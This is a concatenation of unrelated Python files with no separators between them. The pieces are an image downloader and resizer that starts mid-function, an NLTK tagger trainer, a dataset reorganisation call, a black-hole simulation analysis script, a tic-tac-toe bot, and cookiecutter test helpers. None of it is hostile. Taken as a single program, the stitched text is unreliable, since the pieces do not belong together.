    # pobieranie zdjęć z opisu na dysk lokalny
    for i, img in enumerate(imgs):
        res = requests.get(img)
        with open(f'{file_path}/{model}/obrazki_opisu/{i}.jpg', 'wb') as file_format:
            file_format.write(res.content)

    # zmiana rozdzielczości zdjęć tak, aby szerokość wynosiła 480px. Potrzebne jest to, aby zdjęcia na stronie
    # MatrixMedia wyświetlały się prawidłowo w dwóch kolumnach
    for i in range(len(imgs)):
        im = Image.open(f'{file_path}/{model}/obrazki_opisu/{i}.jpg')
        file_format = im.format
        width, height = im.size
        if width > 480:
            ratio = width / 480
            new_width = round(width / ratio)
            new_height = round(height / ratio)
            im = im.resize((new_width, new_height))
            if file_format == 'PNG':
                im.save(f'{file_path}/{model}/obrazki_opisu/{i}.jpg', 'PNG')
            elif file_format == 'JPEG':
                im.save(f'{file_path}/{model}/obrazki_opisu/{i}.jpg', 'JPEG')
            else:
                print(f"Nie umiem zrobić zdjęcia nr {i} :'( (typ {file_format}, jkbc)")
        elif width < 100:
            print(f"Zdjęcie {i}. jest wyjątkowo małe")
        else:
            print(f"Zdjęcie {i}. jest małe")

    return [opis_g, opis_k, opis_t]


import nltk

from nltk.tag import *

from nltk.tbl.template import Template

from nltk.tag.brill import Pos, Word

import re

import csv

import numpy as np

import dill
import argparse

# for the command:
# python3 pos_nltk_train.py --train PATH_TO_TRAIN_FILE --model PATH_TO_MODEL_FILE
def parse_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument('--train', dest="train_path", action="store", required=True)
    parser.add_argument('--model', dest="model_path", action="store", required=True)

    args = parser.parse_args()

    return args

def pre_process(filename):
    f = open(filename, "r")

    contents = f.read()

    contents = re.compile("\n").split(contents)

    data = []

    data_line = []

    for line in contents:

        if not line:

            data.append(data_line)

            data_line = []

        else:

            word_and_tag = re.compile("[ ]+").split(line)

            word_and_tag = tuple(word_and_tag)

            data_line.append(word_and_tag)

    f.close()
    return data;

def main():
    args = parse_arguments()
    train_file = args.train_path
    model_file = args.model_path

    train_data = pre_process(train_file)

    hmm_tagger = hmm.HiddenMarkovModelTagger.train(train_data)

    brill_trainer = BrillTaggerTrainer(hmm_tagger, brill.fntbl37())

    brill_tagger = brill_trainer.train(train_data)

    with open(model_file, 'wb') as f:
        dill.dump(brill_tagger, f)

if __name__ == "__main__":
    main()


import sys
sys.path.append('..')
from utils import reorg_data

data_dir = '/gpu_data/datasets/dog-breed-identification'
label_file = 'labels.csv'
train_dir = 'train'
test_dir = 'test'
input_dir = 'train_valid_test'
valid_ratio = 0.1

reorg_data(data_dir, label_file, train_dir, test_dir, input_dir, valid_ratio)


#!/usr/bin/env python

#/projects/ncsa/grav/more_sims_for_Extraction/simulations

import sys
import os
import matplotlib.pyplot as plt
import numpy as np

path = sys.argv[1]
sim_name = sys.argv[2]

problem_outputs = []

####################
#Get output Paths
####################
path_dirs = sorted(os.listdir(path + "/" + sim_name))
output_dirs = []

for i in range(len(path_dirs)):
	if "output" in path_dirs[i]:
		output_dirs = np.append(output_dirs, path_dirs[i])

#########################
#Combine Output Data
#########################

time = []
irr_mass = []
spin = []
mass = []

file_exists = True
file_access = True

for i in range(len(output_dirs)):
	temp_path = path + "/" + sim_name + "/" + output_dirs[i] + "/" + sim_name + "/quasilocalmeasures-qlm_scalars..asc"
	if os.path.isfile(temp_path) is True and os.access(temp_path, os.R_OK) is True:
		time = np.append(time, np.genfromtxt(temp_path, usecols=(1)))
		irr_mass = np.append(irr_mass, np.genfromtxt(temp_path, usecols=(19)))
		spin = np.append(spin, np.genfromtxt(temp_path, usecols=(37)))
		mass = np.append(mass, np.genfromtxt(temp_path, usecols=(58)))
	elif os.path.isfile(temp_path) is False:
		file_exists = False
		problem_outputs = np.append(problem_outputs, sim_name + "-" + output_dirs[i] + "-no scalars file")
	elif os.access(temp_path, os.R_OK) is False:
		file_access = False
		problem_outputs = np.append(problem_outputs, sim_name + "-" + output_dirs[i] + "-no access")

##########
#Mass
##########

mass_index = 0

for i in range(len(mass)):
	if mass[i] != 0:
		mass_index = i
		break

mass_index = mass_index + 10

mass_cut = mass[mass_index:]

mass_avg = np.average(mass_cut)

print(mass_avg)

##########
#Spin
##########

spin_index = 0

for i in range(len(spin)):
	if spin[i] != 0:
		spin_index = i
		break

spin_index = spin_index + 10

spin_cut = spin[spin_index:]

spin_avg = np.average(spin_cut)

print(spin_avg)

print(problem_outputs)

##########
#Plot
##########

plt.plot(time, mass)
plt.show()


"""
Implementation for the game ``Board`` and the ``naught_bot`` that will play
the game.
"""
import itertools
from . import exceptions as ex

NAUGHT = False
CROSS = True
EMPTY = None

class Board(object):
    """Defines and enforces the game rules."""

    __cells = None
    __first_player = None
    __winner = None

    def __repr__(self):
        substitutions = {
            EMPTY: " ",
            NAUGHT: "o",
            CROSS: "x",
        }

        return (" {0} | {1} | {2} \n"
                "===========\n"
                " {3} | {4} | {5} \n"
                "===========\n"
                " {6} | {7} | {8} \n"
                ).format(*map(lambda v: substitutions[v], self.cells))

    __str__ = __repr__

    @classmethod
    def __empty_board(cls):
        return [EMPTY, ] * 9

    def __init__(self, cells=None, first_player=None):
        """
        :param cells: list of cell states
        :param first_player: sets who made the first mark on the board
                            (required when cells is not None).
        """
        if cells is None:
            # when cells is None, we start with an empty board (and therefore
            # can't have a first player).
            first_player = None
            cells = self.__empty_board()
        elif first_player is None:
            raise ex.FirstPlayerRequiredError("first_player is required "
                                              "when setting cells for initial "
                                              "state")

        self.__first_player = first_player
        self.__cells = cells

        if len(self.__cells) != 9:
            raise ex.SizeError("Unexpected Board size. "
                               "Board must have 9 cells.")

    @property
    def first_player(self):
        return self.__first_player

    @property
    def cells(self):
        return (cell for cell in self.__cells)

    @property
    def rows(self):
        return (indexes for indexes in [(0, 1, 2), (3, 4, 5), (6, 7, 8)])

    @property
    def columns(self):
        return (indexes for indexes in [(0, 3, 6), (1, 4, 7), (2, 5, 8)])

    @property
    def diagonals(self):
        return (indexes for indexes in [(0, 4, 8), (2, 4, 6)])

    @property
    def groupings(self):
        """combines the index generators returned by
        ``rows``, ``columns``, and ``diagonals`` to simplify searching through
        the board for win opportunities."""
        return itertools.chain(self.rows, self.columns, self.diagonals)

    @property
    def winner(self):
        if self.__winner is None:
            for cells in self.groupings:
                group = self[cells]
                if group.count(NAUGHT) == 3:
                    self.__winner = NAUGHT
                    break
                elif group.count(CROSS) == 3:
                    self.__winner = CROSS
                    break
        return self.__winner

    def game_is_over(self):
        return self.winner is not None or self.__cells.count(EMPTY) == 0

    def __getitem__(self, item):

        try:
            # When item is a sequence we'll return a list of the values for
            # the indexes specified.
            return [self.__cells[int(i)] for i in item]
        except TypeError:
            # otherwise ensure we only get a single int argument (not a slice).
            return self.__cells[int(item)]

    def __setitem__(self, key, value):
        if value not in (NAUGHT, CROSS):
            raise ValueError

        if self.__cells[key] is not EMPTY:
            raise ex.NonEmptyCellError(key)

        if self.__first_player is None:
            # Note who placed the first mark on the board
            self.__first_player = value
        elif self.winner is not None:
            # If there's a winner already, raise out before the assignment
            # is made.
            raise ex.GameOver(winner=self.winner)

        original_val = self.__cells[key]

        try:
            self.__cells[key] = value
            crosses = self.__cells.count(CROSS)
            naughts = self.__cells.count(NAUGHT)

            # First player should always be the player to "lead" the mark count
            # (if the counts are equal, the next move belongs to the first
            # player).
            # Neither player should ever have more than a 1 mark lead/gap on
            # the board.
            lead_belongs_to_player_two = (crosses != naughts
                                          and value != self.__first_player)
            gap_too_large = max(crosses, naughts) - min(crosses, naughts) > 1
            if gap_too_large or lead_belongs_to_player_two:
                raise ex.DoubleMoveError

            if self.game_is_over():
                raise ex.GameOver(winner=self.winner)

        except ex.DoubleMoveError:
            # we are try/excepting so the assignment to the cells list is
            # rolled back, but we still want the exception to bubble up.
            self.__cells[key] = original_val
            raise

def naught_bot(board):
    """Evaluates the board state and decides which cell it wants to mark.
    :param board: A :class:`Board` instance evaluate.
    :returns: index of the cell it intends to mark.
    """
    if board[4] is EMPTY:
        # Always take the center if it's open
        return 4

    # Test for naught first since a win is better than a block
    for mark in (NAUGHT, CROSS):
        # Critical cells are those that have 1 empty and 2 of the same mark,
        # they should be addressed first.
        for cells in board.groupings:
            values = board[cells]

            if values.count(EMPTY) == 1 and values.count(mark) == 2:
                return cells[values.index(EMPTY)]

    corners = (0, 2, 6, 8)
    edges = (1, 3, 5, 7)

    # When the player selects a corner and an edge, they may be setting up to
    # "flank" the bot and create 2 win opportunities (thus making it
    # impossbile for the bot to block).
    # In this situation, mark the cell in the corner opposite the player.
    flanking = (board[corners].count(CROSS) == board[edges].count(CROSS) == 1)

    # The double edge play is when the player selects 2 edges with an open
    # corner in between them. The bot needs to plug the corner asap to
    # prevent a flank in the next move.
    double_edge_play = (board[edges].count(CROSS) == 2)
    if board[4] is NAUGHT and double_edge_play:
        # Kind of an odd approach, but I found that adding the 2 indexes and
        # subtracting 4 gave us the corner index nestled in between them.
        sum_idx = sum(
            idx for (idx, val) in zip(edges, board[edges]) if val is CROSS)
        corner = abs(sum_idx - 4)

        if board[corner] is EMPTY:
            return corner

    elif board[4] is NAUGHT and flanking:
        crossed_corner = next(
            idx for (idx, val) in zip(corners, board[corners]) if val is CROSS)
        # subtracting 8 and forcing unsigned should get us the opposite corner
        return abs(crossed_corner - 8)

    # General cell selection (for when there isn't a more specific threat).
    # Corners are generally better targets than edges
    elif board[4] is NAUGHT and list(board[corners]).count(CROSS) > 1:
        return next(idx for (idx, val) in enumerate(board.cells)
                    if idx in edges and val is EMPTY)
    elif board[corners].count(EMPTY) > 0:
        return next(idx for (idx, val) in enumerate(board.cells)
                    if idx in corners and val is EMPTY)
    # if there are no corners free, just pick the first available open cell
    return next(idx for idx, val in enumerate(board.cells) if val is EMPTY)


# coding: utf-8

import os
import shlex
import subprocess
from contextlib import contextmanager
from types import ModuleType
from typing import Any, Dict, Iterator, Tuple
from importlib.machinery import ModuleSpec
from importlib import util

# import yaml
from cookiecutter.utils import rmtree
from pytest_cookies.plugin import Cookies, Result

@contextmanager
def inside_dir(dirpath: str) -> Iterator[None]:
    """
    Execute code from inside the given directory
    :param dirpath: String, path of the directory the command is being run.
    """
    old_path = os.getcwd()
    try:
        os.chdir(dirpath)
        yield
    finally:
        os.chdir(old_path)

@contextmanager
def bake_in_temp_dir(cookies: Cookies, *args: Any, **kwargs: Dict[str, str]) -> Result:
    """
    Delete the temporal directory that is created when executing the tests
    :param cookies: pytest_cookies.Cookies,
        cookie to be baked and its temporal files will be removed
    """
    result = cookies.bake(*args, **kwargs)
    # print('=' * 80 + '\n', "Result info:", repr(result), '\n' + ('=' * 80))
    try:
        yield result
    finally:
        rmtree(str(result.project))

def run_inside_dir(command: str, dirpath: str) -> int:
    """
    Run a command from inside a given directory, returning the exit status
    :param command: Command that will be executed
    :param dirpath: String, path of the directory the command is being run.
    """
    with inside_dir(dirpath):
        return subprocess.check_call(shlex.split(command))

# def check_output_inside_dir(command: str, dirpath: str) -> str:
#     "Run a command from inside a given directory, returning the command output"
#     with inside_dir(dirpath):
#         return subprocess.check_output(shlex.split(command), text=True)

def project_info(result: Result) -> Tuple[str, str, str]:
    """Get toplevel dir, project_slug, and project dir from baked cookies"""
    project_path = str(result.project)
    project_slug = os.path.split(project_path)[-1]
    project_dir = os.path.join(project_path, "src", project_slug)
    return project_path, project_slug, project_dir

def get_cli(cookies: Cookies, context: Dict[str, str]) -> ModuleType:
    result: Result = cookies.bake(extra_context=context)
    project_path, project_slug, project_dir = project_info(result)
    module_path: str = os.path.join(project_dir, 'cli.py')
    module_name: str = '.'.join([project_slug, 'cli'])
    spec: ModuleSpec = util.spec_from_file_location(module_name, module_path)
    cli: ModuleType = util.module_from_spec(spec)

    assert spec.loader is not None
    spec.loader.exec_module(cli)  # type: ignore

    return cli